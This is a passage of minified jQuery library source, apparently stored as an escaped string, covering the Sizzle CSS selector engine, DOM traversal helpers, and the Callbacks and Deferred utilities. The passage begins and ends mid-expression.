RegExp(\"^\"+a+\"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\"+a+\"+$\",\"g\"),Q=new RegExp(\"^\"+a+\"*,\"+a+\"*\"),Z=new RegExp(\"^\"+a+\"*([>+~]|\"+a+\")\"+a+\"*\"),ee=new RegExp(\"=\"+a+\"*([^\\\\]'\\\"]*?)\"+a+\"*\\\\]\",\"g\"),te=new RegExp(G),ne=new RegExp(\"^\"+s+\"$\"),f={ID:new RegExp(\"^#(\"+s+\")\"),CLASS:new RegExp(\"^\\\\.(\"+s+\")\"),TAG:new RegExp(\"^(\"+s+\"|[*])\"),ATTR:new RegExp(\"^\"+J),PSEUDO:new RegExp(\"^\"+G),CHILD:new RegExp(\"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\(\"+a+\"*(even|odd|(([+-]|)(\\\\d*)n|)\"+a+\"*(?:([+-]|)\"+a+\"*(\\\\d+)|))\"+a+\"*\\\\)|)\",\"i\"),bool:new RegExp(\"^(?:\"+Y+\")$\",\"i\"),needsContext:new RegExp(\"^\"+a+\"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\"+a+\"*((?:-\\\\d)?\\\\d*)\"+a+\"*\\\\)|)(?=[^-]|$)\",\"i\")},re=/^(?:input|select|textarea|button)$/i,ie=/^h\\d$/i,c=/^[^{]+\\{\\s*\\[native \\w/,oe=/^(?:#([\\w-]+)|(\\w+)|\\.([\\w-]+))$/,ae=/[+~]/,se=/'|\\\\/g,d=new RegExp(\"\\\\\\\\([\\\\da-f]{1,6}\"+a+\"?|(\"+a+\")|.)\",\"ig\"),p=function(e,t,n){var r=\"0x\"+t-65536;return r!=r||n?t:r<0?String.fromCharCode(65536+r):String.fromCharCode(r>>10|55296,1023&r|56320)},ue=function(){C()};try{D.apply(n=V.call(v.childNodes),v.childNodes),n[v.childNodes.length].nodeType}catch(F){D={apply:n.length?function(e,t){U.apply(e,V.call(t))}:function(e,t){for(var n=e.length,r=0;e[n++]=t[r++];);e.length=n-1}}}function H(e,t,n,r){var i,o,a,s,u,l,c,f,d=t&&t.ownerDocument,p=t?t.nodeType:9;if(n=n||[],\"string\"!=typeof e||!e||1!==p&&9!==p&&11!==p)return n;if(!r&&((t?t.ownerDocument||t:v)!==E&&C(t),t=t||E,N)){if(11!==p&&(l=oe.exec(e)))if(i=l[1]){if(9===p){if(!(a=t.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(d&&(a=d.getElementById(i))&&y(t,a)&&a.id===i)return n.push(a),n}else{if(l[2])return D.apply(n,t.getElementsByTagName(e)),n;if((i=l[3])&&g.getElementsByClassName&&t.getElementsByClassName)return D.apply(n,t.getElementsByClassName(i)),n}if(g.qsa&&!A[e+\" \"]&&(!m||!m.test(e))){if(1!==p)d=t,f=e;else if(\"object\"!==t.nodeName.toLowerCase()){for((s=t.getAttribute(\"id\"))?s=s.replace(se,\"\\\\$&\"):t.setAttribute(\"id\",s=k),o=(c=w(e)).length,u=ne.test(s)?\"#\"+s:\"[id='\"+s+\"']\";o--;)c[o]=u+\" \"+_(c[o]);f=c.join(\",\"),d=ae.test(e)&&de(t.parentNode)||t}if(f)try{return D.apply(n,d.querySelectorAll(f)),n}catch(h){}finally{s===k&&t.removeAttribute(\"id\")}}}return P(e.replace(L,\"$1\"),t,n,r)}function le(){var n=[];function r(e,t){return n.push(e+\" \")>b.cacheLength&&delete r[n.shift()],r[e+\" \"]=t}return r}function q(e){return e[k]=!0,e}function h(e){var t=E.createElement(\"div\");try{return!!e(t)}catch(F){return!1}finally{t.parentNode&&t.parentNode.removeChild(t)}}function ce(e,t){for(var n=e.split(\"|\"),r=n.length;r--;)b.attrHandle[n[r]]=t}function fe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||1<<31)-(~e.sourceIndex||1<<31);if(r)return r;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function x(a){return q(function(o){return o=+o,q(function(e,t){for(var n,r=a([],e.length,o),i=r.length;i--;)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function de(e){return e&&\"undefined\"!=typeof e.getElementsByTagName&&e}for(e in g=H.support={},O=H.isXML=function(e){e=e&&(e.ownerDocument||e).documentElement;return!!e&&\"HTML\"!==e.nodeName},C=H.setDocument=function(e){var e=e?e.ownerDocument||e:v;return e!==E&&9===e.nodeType&&e.documentElement&&(t=(E=e).documentElement,N=!O(E),(e=E.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener(\"unload\",ue,!1):e.attachEvent&&e.attachEvent(\"onunload\",ue)),g.attributes=h(function(e){return e.className=\"i\",!e.getAttribute(\"className\")}),g.getElementsByTagName=h(function(e){return e.appendChild(E.createComment(\"\")),!e.getElementsByTagName(\"*\").length}),g.getElementsByClassName=c.test(E.getElementsByClassName),g.getById=h(function(e){return t.appendChild(e).id=k,!E.getElementsByName||!E.getElementsByName(k).length}),g.getById?(b.find.ID=function(e,t){if(\"undefined\"!=typeof t.getElementById&&N)return(e=t.getElementById(e))?[e]:[]},b.filter.ID=function(e){var t=e.replace(d,p);return function(e){return e.getAttribute(\"id\")===t}}):(delete b.find.ID,b.filter.ID=function(e){var t=e.replace(d,p);return function(e){e=\"undefined\"!=typeof e.getAttributeNode&&e.getAttributeNode(\"id\");return e&&e.value===t}}),b.find.TAG=g.getElementsByTagName?function(e,t){return\"undefined\"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):g.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if(\"*\"!==e)return o;for(;n=o[i++];)1===n.nodeType&&r.push(n);return r},b.find.CLASS=g.getElementsByClassName&&function(e,t){if(\"undefined\"!=typeof t.getElementsByClassName&&N)return t.getElementsByClassName(e)},r=[],m=[],(g.qsa=c.test(E.querySelectorAll))&&(h(function(e){t.appendChild(e).innerHTML=\"<a id='\"+k+\"'></a><select id='\"+k+\"-\\r\\\\' msallowcapture=''><option selected=''></option></select>\",e.querySelectorAll(\"[msallowcapture^='']\").length&&m.push(\"[*^$]=\"+a+\"*(?:''|\\\"\\\")\"),e.querySelectorAll(\"[selected]\").length||m.push(\"\\\\[\"+a+\"*(?:value|\"+Y+\")\"),e.querySelectorAll(\"[id~=\"+k+\"-]\").length||m.push(\"~=\"),e.querySelectorAll(\":checked\").length||m.push(\":checked\"),e.querySelectorAll(\"a#\"+k+\"+*\").length||m.push(\".#.+[+~]\")}),h(function(e){var t=E.createElement(\"input\");t.setAttribute(\"type\",\"hidden\"),e.appendChild(t).setAttribute(\"name\",\"D\"),e.querySelectorAll(\"[name=d]\").length&&m.push(\"name\"+a+\"*[*^$|!~]?=\"),e.querySelectorAll(\":enabled\").length||m.push(\":enabled\",\":disabled\"),e.querySelectorAll(\"*,:x\"),m.push(\",.*:\")})),(g.matchesSelector=c.test(i=t.matches||t.webkitMatchesSelector||t.mozMatchesSelector||t.oMatchesSelector||t.msMatchesSelector))&&h(function(e){g.disconnectedMatch=i.call(e,\"div\"),i.call(e,\"[s!='']:x\"),r.push(\"!=\",G)}),m=m.length&&new RegExp(m.join(\"|\")),r=r.length&&new RegExp(r.join(\"|\")),e=c.test(t.compareDocumentPosition),y=e||c.test(t.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,t=t&&t.parentNode;return e===t||!(!t||1!==t.nodeType||!(n.contains?n.contains(t):e.compareDocumentPosition&&16&e.compareDocumentPosition(t)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},$=e?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!g.sortDetached&&t.compareDocumentPosition(e)===n?e===E||e.ownerDocument===v&&y(v,e)?-1:t===E||t.ownerDocument===v&&y(v,t)?1:u?j(u,e)-j(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e===E?-1:t===E?1:i?-1:o?1:u?j(u,e)-j(u,t):0;if(i===o)return fe(e,t);for(n=e;n=n.parentNode;)a.unshift(n);for(n=t;n=n.parentNode;)s.unshift(n);for(;a[r]===s[r];)r++;return r?fe(a[r],s[r]):a[r]===v?-1:s[r]===v?1:0}),E},H.matches=function(e,t){return H(e,null,null,t)},H.matchesSelector=function(e,t){if((e.ownerDocument||e)!==E&&C(e),t=t.replace(ee,\"='$1']\"),g.matchesSelector&&N&&!A[t+\" \"]&&(!r||!r.test(t))&&(!m||!m.test(t)))try{var n=i.call(e,t);if(n||g.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(F){}return 0<H(t,E,null,[e]).length},H.contains=function(e,t){return(e.ownerDocument||e)!==E&&C(e),y(e,t)},H.attr=function(e,t){(e.ownerDocument||e)!==E&&C(e);var n=b.attrHandle[t.toLowerCase()],n=n&&z.call(b.attrHandle,t.toLowerCase())?n(e,t,!N):undefined;return n!==undefined?n:g.attributes||!N?e.getAttribute(t):(n=e.getAttributeNode(t))&&n.specified?n.value:null},H.error=function(e){throw new Error(\"Syntax error, unrecognized expression: \"+e)},H.uniqueSort=function(e){var t,n=[],r=0,i=0;if(l=!g.detectDuplicates,u=!g.sortStable&&e.slice(0),e.sort($),l){for(;t=e[i++];)t===e[i]&&(r=n.push(i));for(;r--;)e.splice(n[r],1)}return u=null,e},o=H.getText=function(e){var t,n=\"\",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if(\"string\"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=o(e)}else if(3===i||4===i)return e.nodeValue}else for(;t=e[r++];)n+=o(t);return n},(b=H.selectors={cacheLength:50,createPseudo:q,match:f,attrHandle:{},find:{},relative:{\">\":{dir:\"parentNode\",first:!0},\" \":{dir:\"parentNode\"},\"+\":{dir:\"previousSibling\",first:!0},\"~\":{dir:\"previousSibling\"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(d,p),e[3]=(e[3]||e[4]||e[5]||\"\").replace(d,p),\"~=\"===e[2]&&(e[3]=\" \"+e[3]+\" \"),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),\"nth\"===e[1].slice(0,3)?(e[3]||H.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*(\"even\"===e[3]||\"odd\"===e[3])),e[5]=+(e[7]+e[8]||\"odd\"===e[3])):e[3]&&H.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return f.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||\"\":n&&te.test(n)&&(t=w(n,!0))&&(t=n.indexOf(\")\",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(d,p).toLowerCase();return\"*\"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=W[e+\" \"];return t||(t=new RegExp(\"(^|\"+a+\")\"+e+\"(\"+a+\"|$)\"))&&W(e,function(e){return t.test(\"string\"==typeof e.className&&e.className||\"undefined\"!=typeof e.getAttribute&&e.getAttribute(\"class\")||\"\")})},ATTR:function(t,n,r){return function(e){e=H.attr(e,t);return null==e?\"!=\"===n:!n||(e+=\"\",\"=\"===n?e===r:\"!=\"===n?e!==r:\"^=\"===n?r&&0===e.indexOf(r):\"*=\"===n?r&&-1<e.indexOf(r):\"$=\"===n?r&&e.slice(-r.length)===r:\"~=\"===n?-1<(\" \"+e.replace(K,\" \")+\" \").indexOf(r):\"|=\"===n&&(e===r||e.slice(0,r.length+1)===r+\"-\"))}},CHILD:function(h,e,t,g,m){var y=\"nth\"!==h.slice(0,3),v=\"last\"!==h.slice(-4),x=\"of-type\"===e;return 1===g&&0===m?function(e){return!!e.parentNode}:function(e,t,n){var r,i,o,a,s,u,l=y!=v?\"nextSibling\":\"previousSibling\",c=e.parentNode,f=x&&e.nodeName.toLowerCase(),d=!n&&!x,p=!1;if(c){if(y){for(;l;){for(a=e;a=a[l];)if(x?a.nodeName.toLowerCase()===f:1===a.nodeType)return!1;u=l=\"only\"===h&&!u&&\"nextSibling\"}return!0}if(u=[v?c.firstChild:c.lastChild],v&&d){for(p=(s=(r=(i=(o=(a=c)[k]||(a[k]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===S&&r[1])&&r[2],a=s&&c.childNodes[s];a=++s&&a&&a[l]||(p=s=0)||u.pop();)if(1===a.nodeType&&++p&&a===e){i[h]=[S,s,p];break}}else if(!1===(p=d?s=(r=(i=(o=(a=e)[k]||(a[k]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===S&&r[1]:p))for(;(a=++s&&a&&a[l]||(p=s=0)||u.pop())&&((x?a.nodeName.toLowerCase()!==f:1!==a.nodeType)||!++p||(d&&((i=(o=a[k]||(a[k]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]=[S,p]),a!==e)););return(p-=m)===g||p%g==0&&0<=p/g}}},PSEUDO:function(e,o){var t,a=b.pseudos[e]||b.setFilters[e.toLowerCase()]||H.error(\"unsupported pseudo: \"+e);return a[k]?a(o):1<a.length?(t=[e,e,\"\",o],b.setFilters.hasOwnProperty(e.toLowerCase())?q(function(e,t){for(var n,r=a(e,o),i=r.length;i--;)e[n=j(e,r[i])]=!(t[n]=r[i])}):function(e){return a(e,0,t)}):a}},pseudos:{not:q(function(e){var r=[],i=[],s=R(e.replace(L,\"$1\"));return s[k]?q(function(e,t,n,r){for(var i,o=s(e,null,r,[]),a=e.length;a--;)(i=o[a])&&(e[a]=!(t[a]=i))}):function(e,t,n){return r[0]=e,s(r,null,n,i),r[0]=null,!i.pop()}}),has:q(function(t){return function(e){return 0<H(t,e).length}}),contains:q(function(t){return t=t.replace(d,p),function(e){return-1<(e.textContent||e.innerText||o(e)).indexOf(t)}}),lang:q(function(n){return ne.test(n||\"\")||H.error(\"unsupported lang: \"+n),n=n.replace(d,p).toLowerCase(),function(e){var t;do{if(t=N?e.lang:e.getAttribute(\"xml:lang\")||e.getAttribute(\"lang\"))return(t=t.toLowerCase())===n||0===t.indexOf(n+\"-\")}while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var t=M.location&&M.location.hash;return t&&t.slice(1)===e.id},root:function(e){return e===t},focus:function(e){return e===E.activeElement&&(!E.hasFocus||E.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return!1===e.disabled},disabled:function(e){return!0===e.disabled},checked:function(e){var t=e.nodeName.toLowerCase();return\"input\"===t&&!!e.checked||\"option\"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!b.pseudos.empty(e)},header:function(e){return ie.test(e.nodeName)},input:function(e){return re.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return\"input\"===t&&\"button\"===e.type||\"button\"===t},text:function(e){return\"input\"===e.nodeName.toLowerCase()&&\"text\"===e.type&&(null==(e=e.getAttribute(\"type\"))||\"text\"===e.toLowerCase())},first:x(function(){return[0]}),last:x(function(e,t){return[t-1]}),eq:x(function(e,t,n){return[n<0?n+t:n]}),even:x(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:x(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:x(function(e,t,n){for(var r=n<0?n+t:n;0<=--r;)e.push(r);return e}),gt:x(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=b.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})b.pseudos[e]=function(t){return function(e){return\"input\"===e.nodeName.toLowerCase()&&e.type===t}}(e);for(e in{submit:!0,reset:!0})b.pseudos[e]=function(n){return function(e){var t=e.nodeName.toLowerCase();return(\"input\"===t||\"button\"===t)&&e.type===n}}(e);function pe(){}function _(e){for(var t=0,n=e.length,r=\"\";t<n;t++)r+=e[t].value;return r}function he(a,e,t){var s=e.dir,u=t&&\"parentNode\"===s,l=B++;return e.first?function(e,t,n){for(;e=e[s];)if(1===e.nodeType||u)return a(e,t,n)}:function(e,t,n){var r,i,o=[S,l];if(n){for(;e=e[s];)if((1===e.nodeType||u)&&a(e,t,n))return!0}else for(;e=e[s];)if(1===e.nodeType||u){if((r=(i=(i=e[k]||(e[k]={}))[e.uniqueID]||(i[e.uniqueID]={}))[s])&&r[0]===S&&r[1]===l)return o[2]=r[2];if((i[s]=o)[2]=a(e,t,n))return!0}}}function ge(i){return 1<i.length?function(e,t,n){for(var r=i.length;r--;)if(!i[r](e,t,n))return!1;return!0}:i[0]}function me(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)!(o=e[s])||n&&!n(o,r,i)||(a.push(o),l&&t.push(s));return a}function ye(p,h,g,m,y,e){return m&&!m[k]&&(m=ye(m)),y&&!y[k]&&(y=ye(y,e)),q(function(e,t,n,r){var i,o,a,s=[],u=[],l=t.length,c=e||function(e,t,n){for(var r=0,i=t.length;r<i;r++)H(e,t[r],n);return n}(h||\"*\",n.nodeType?[n]:n,[]),f=!p||!e&&h?c:me(c,s,p,n,r),d=g?y||(e?p:l||m)?[]:t:f;if(g&&g(f,d,n,r),m)for(i=me(d,u),m(i,[],n,r),o=i.length;o--;)(a=i[o])&&(d[u[o]]=!(f[u[o]]=a));if(e){if(y||p){if(y){for(i=[],o=d.length;o--;)(a=d[o])&&i.push(f[o]=a);y(null,d=[],i,r)}for(o=d.length;o--;)(a=d[o])&&-1<(i=y?j(e,a):s[o])&&(e[i]=!(t[i]=a))}}else d=me(d===t?d.splice(l,d.length):d),y?y(null,t,d,r):D.apply(t,d)})}return pe.prototype=b.filters=b.pseudos,b.setFilters=new pe,w=H.tokenize=function(e,t){var n,r,i,o,a,s,u,l=I[e+\" \"];if(l)return t?0:l.slice(0);for(a=e,s=[],u=b.preFilter;a;){for(o in n&&!(r=Q.exec(a))||(r&&(a=a.slice(r[0].length)||a),s.push(i=[])),n=!1,(r=Z.exec(a))&&(n=r.shift(),i.push({value:n,type:r[0].replace(L,\" \")}),a=a.slice(n.length)),b.filter)!(r=f[o].exec(a))||u[o]&&!(r=u[o](r))||(n=r.shift(),i.push({value:n,type:o,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?H.error(e):I(e,s).slice(0)},R=H.compile=function(e,t){var n,m,y,v,x,r,i=[],o=[],a=A[e+\" \"];if(!a){for(n=(t=t||w(e)).length;n--;)((a=function f(e){for(var r,t,n,i=e.length,o=b.relative[e[0].type],a=o||b.relative[\" \"],s=o?1:0,u=he(function(e){return e===r},a,!0),l=he(function(e){return-1<j(r,e)},a,!0),c=[function(e,t,n){return e=!o&&(n||t!==T)||((r=t).nodeType?u:l)(e,t,n),r=null,e}];s<i;s++)if(t=b.relative[e[s].type])c=[he(ge(c),t)];else{if((t=b.filter[e[s].type].apply(null,e[s].matches))[k]){for(n=++s;n<i&&!b.relative[e[n].type];n++);return ye(1<s&&ge(c),1<s&&_(e.slice(0,s-1).concat({value:\" \"===e[s-2].type?\"*\":\"\"})).replace(L,\"$1\"),t,s<n&&f(e.slice(s,n)),n<i&&f(e=e.slice(n)),n<i&&_(e))}c.push(t)}return ge(c)}(t[n]))[k]?i:o).push(a);(a=A(e,(m=o,v=0<(y=i).length,x=0<m.length,r=function(e,t,n,r,i){var o,a,s,u=0,l=\"0\",c=e&&[],f=[],d=T,p=e||x&&b.find.TAG(\"*\",i),h=S+=null==d?1:Math.random()||.1,g=p.length;for(i&&(T=t===E||t||i);l!==g&&null!=(o=p[l]);l++){if(x&&o){for(a=0,t||o.ownerDocument===E||(C(o),n=!N);s=m[a++];)if(s(o,t||E,n)){r.push(o);break}i&&(S=h)}v&&((o=!s&&o)&&u--,e&&c.push(o))}if(u+=l,v&&l!==u){for(a=0;s=y[a++];)s(c,f,t,n);if(e){if(0<u)for(;l--;)c[l]||f[l]||(f[l]=X.call(r));f=me(f)}D.apply(r,f),i&&!e&&0<f.length&&1<u+y.length&&H.uniqueSort(r)}return i&&(S=h,T=d),c},v?q(r):r))).selector=e}return a},P=H.select=function(e,t,n,r){var i,o,a,s,u,l=\"function\"==typeof e&&e,c=!r&&w(e=l.selector||e);if(n=n||[],1===c.length){if(2<(o=c[0]=c[0].slice(0)).length&&\"ID\"===(a=o[0]).type&&g.getById&&9===t.nodeType&&N&&b.relative[o[1].type]){if(!(t=(b.find.ID(a.matches[0].replace(d,p),t)||[])[0]))return n;l&&(t=t.parentNode),e=e.slice(o.shift().value.length)}for(i=f.needsContext.test(e)?0:o.length;i--&&(a=o[i],!b.relative[s=a.type]);)if((u=b.find[s])&&(r=u(a.matches[0].replace(d,p),ae.test(o[0].type)&&de(t.parentNode)||t))){if(o.splice(i,1),e=r.length&&_(o))break;return D.apply(n,r),n}}return(l||R(e,c))(r,t,!N,n,!t||ae.test(e)&&de(t.parentNode)||t),n},g.sortStable=k.split(\"\").sort($).join(\"\")===k,g.detectDuplicates=!!l,C(),g.sortDetached=h(function(e){return 1&e.compareDocumentPosition(E.createElement(\"div\"))}),h(function(e){return e.innerHTML=\"<a href='#'></a>\",\"#\"===e.firstChild.getAttribute(\"href\")})||ce(\"type|href|height|width\",function(e,t,n){if(!n)return e.getAttribute(t,\"type\"===t.toLowerCase()?1:2)}),g.attributes&&h(function(e){return e.innerHTML=\"<input/>\",e.firstChild.setAttribute(\"value\",\"\"),\"\"===e.firstChild.getAttribute(\"value\")})||ce(\"value\",function(e,t,n){if(!n&&\"input\"===e.nodeName.toLowerCase())return e.defaultValue}),h(function(e){return null==e.getAttribute(\"disabled\")})||ce(Y,function(e,t,n){if(!n)return!0===e[t]?t.toLowerCase():(n=e.getAttributeNode(t))&&n.specified?n.value:null}),H}(T),r=(C.find=e,C.expr=e.selectors,C.expr[\":\"]=C.expr.pseudos,C.uniqueSort=C.unique=e.uniqueSort,C.text=e.getText,C.isXMLDoc=e.isXML,C.contains=e.contains,function(e,t,n){for(var r=[],i=n!==undefined;(e=e[t])&&9!==e.nodeType;)if(1===e.nodeType){if(i&&C(e).is(n))break;r.push(e)}return r}),V=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},Y=C.expr.match.needsContext,J=/^<([\\w-]+)\\s*\\/?>(?:<\\/\\1>|)$/,G=/^.[^:#\\[\\.,]*$/;function K(e,n,r){if(C.isFunction(n))return C.grep(e,function(e,t){return!!n.call(e,t,e)!==r});if(n.nodeType)return C.grep(e,function(e){return e===n!==r});if(\"string\"==typeof n){if(G.test(n))return C.filter(n,e,r);n=C.filter(n,e)}return C.grep(e,function(e){return-1<C.inArray(e,n)!==r})}C.filter=function(e,t,n){var r=t[0];return n&&(e=\":not(\"+e+\")\"),1===t.length&&1===r.nodeType?C.find.matchesSelector(r,e)?[r]:[]:C.find.matches(e,C.grep(t,function(e){return 1===e.nodeType}))},C.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if(\"string\"!=typeof e)return this.pushStack(C(e).filter(function(){for(t=0;t<i;t++)if(C.contains(r[t],this))return!0}));for(t=0;t<i;t++)C.find(e,r[t],n);return(n=this.pushStack(1<i?C.unique(n):n)).selector=this.selector?this.selector+\" \"+e:e,n},filter:function(e){return this.pushStack(K(this,e||[],!1))},not:function(e){return this.pushStack(K(this,e||[],!0))},is:function(e){return!!K(this,\"string\"==typeof e&&Y.test(e)?C(e):e||[],!1).length}});var Q,Z=/^(?:\\s*(<[\\w\\W]+>)[^>]*|#([\\w-]*))$/,ee=((C.fn.init=function(e,t,n){if(!e)return this;if(n=n||Q,\"string\"!=typeof e)return e.nodeType?(this.context=this[0]=e,this.length=1,this):C.isFunction(e)?\"undefined\"!=typeof n.ready?n.ready(e):e(C):(e.selector!==undefined&&(this.selector=e.selector,this.context=e.context),C.makeArray(e,this));if(!(r=\"<\"===e.charAt(0)&&\">\"===e.charAt(e.length-1)&&3<=e.length?[null,e,null]:Z.exec(e))||!r[1]&&t)return(!t||t.jquery?t||n:this.constructor(t)).find(e);if(r[1]){if(t=t instanceof C?t[0]:t,C.merge(this,C.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:g,!0)),J.test(r[1])&&C.isPlainObject(t))for(var r in t)C.isFunction(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}if((n=g.getElementById(r[2]))&&n.parentNode){if(n.id!==r[2])return Q.find(e);this.length=1,this[0]=n}return this.context=g,this.selector=e,this}).prototype=C.fn,Q=C(g),/^(?:parents|prev(?:Until|All))/),te={children:!0,contents:!0,next:!0,prev:!0};function ne(e,t){for(;(e=e[t])&&1!==e.nodeType;);return e}C.fn.extend({has:function(e){var t,n=C(e,this),r=n.length;return this.filter(function(){for(t=0;t<r;t++)if(C.contains(this,n[t]))return!0})},closest:function(e,t){for(var n,r=0,i=this.length,o=[],a=Y.test(e)||\"string\"!=typeof e?C(e,t||this.context):0;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?-1<a.index(n):1===n.nodeType&&C.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(1<o.length?C.uniqueSort(o):o)},index:function(e){return e?\"string\"==typeof e?C.inArray(this[0],C(e)):C.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(C.uniqueSort(C.merge(this.get(),C(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),C.each({parent:function(e){e=e.parentNode;return e&&11!==e.nodeType?e:null},parents:function(e){return r(e,\"parentNode\")},parentsUntil:function(e,t,n){return r(e,\"parentNode\",n)},next:function(e){return ne(e,\"nextSibling\")},prev:function(e){return ne(e,\"previousSibling\")},nextAll:function(e){return r(e,\"nextSibling\")},prevAll:function(e){return r(e,\"previousSibling\")},nextUntil:function(e,t,n){return r(e,\"nextSibling\",n)},prevUntil:function(e,t,n){return r(e,\"previousSibling\",n)},siblings:function(e){return V((e.parentNode||{}).firstChild,e)},children:function(e){return V(e.firstChild)},contents:function(e){return C.nodeName(e,\"iframe\")?e.contentDocument||e.contentWindow.document:C.merge([],e.childNodes)}},function(r,i){C.fn[r]=function(e,t){var n=C.map(this,i,e);return(t=\"Until\"!==r.slice(-5)?e:t)&&\"string\"==typeof t&&(n=C.filter(t,n)),1<this.length&&(te[r]||(n=C.uniqueSort(n)),ee.test(r)&&(n=n.reverse())),this.pushStack(n)}});var re,ie,E=/\\S+/g;function oe(){g.addEventListener?(g.removeEventListener(\"DOMContentLoaded\",i),T.removeEventListener(\"load\",i)):(g.detachEvent(\"onreadystatechange\",i),T.detachEvent(\"onload\",i))}function i(){!g.addEventListener&&\"load\"!==T.event.type&&\"complete\"!==g.readyState||(oe(),C.ready())}for(ie in C.Callbacks=function(r){var e,n;r=\"string\"==typeof r?(e=r,n={},C.each(e.match(E)||[],function(e,t){n[t]=!0}),n):C.extend({},r);var i,t,o,a,s=[],u=[],l=-1,c=function(){for(a=r.once,o=i=!0;u.length;l=-1)for(t=u.shift();++l<s.length;)!1===s[l].apply(t[0],t[1])&&r.stopOnFalse&&(l=s.length,t=!1);r.memory||(t=!1),i=!1,a&&(s=t?[]:\"\")},f={add:function(){return s&&(t&&!i&&(l=s.length-1,u.push(t)),function n(e){C.each(e,function(e,t){C.isFunction(t)?r.unique&&f.has(t)||s.push(t):t&&t.length&&\"string\"!==C.type(t)&&n(t)})}(arguments),t&&!i&&c()),this},remove:function(){return C.each(arguments,function(e,t){for(var n;-1<(n=C.inArray(t,s,n));)s.splice(n,1),n<=l&&l--}),this},has:function(e){return e?-1<C.inArray(e,s):0<s.length},empty:function(){return s=s&&[],this},disable:function(){return a=u=[],s=t=\"\",this},disabled:function(){return!s},lock:function(){return a=!0,t||f.disable(),this},locked:function(){return!!a},fireWith:function(e,t){return a||(t=[e,(t=t||[]).slice?t.slice():t],u.push(t),i||c()),this},fire:function(){return f.fireWith(this,arguments),this},fired:function(){return!!o}};return f},C.extend({Deferred:function(e){var o=[[\"resolve\",\"done\",C.Callbacks(\"once memory\"),\"resolved\"],[\"reject\",\"fail\",C.Callbacks(\"once memory\"),\"rejected\"],[\"notify\",\"progress\",C.Callbacks(\"memory\")]],i=\"pending\",a={state:function(){return i},always:function(){return s.done(arguments).fail(arguments),this},then:function(){var i=arguments;return C.Deferred(function(r){C.each(o,function(e,t){var n=C.isFunction(i[e])&&i[e];s[t[1]](function(){var e=n&&n.apply(this,arguments);e&&C.isFunction(e.promise)?e.promise().progress(r.notify).done(r.resolve).fail(r.reject):r[t[0]+\"With\"](this===a?r.promise():this,n?[e]:arguments)})}),i=null}).promise()},promise:function(e){return null!=e?C.extend(e,a):a}},s={};return a.pipe=a.then,C.each(o,function(e,t){var n=t[2],r=t[3];a[t[1]]=n.add,r&&n.add(function(){i=r},o[1^e][2].disable,o[2][2].lock),s[t[0]]=function(){return s[t[0]+\"With\"](this===s?a:this,arguments),this},s[t[0]+\"With\"]=n.fireWith}),a.promise(s),e&&e.call(s,s),s},when:function(e){var i,t,n,r=0,o=c.call(arguments),a=o.length,s=1!==a||e&&C.isFunction(e.promise)?a:0,u=1===s?e:C.Deferred(),l=function(t,n,r){return function(e){n[t]=this,r[t]=1<arguments.length?c.call(arguments):e,r===i?u.notifyWith(n,r):--s||u.resolveWith(n,r)}};if(1<a)for(i=new Array(a),t=new Array(a),n=new 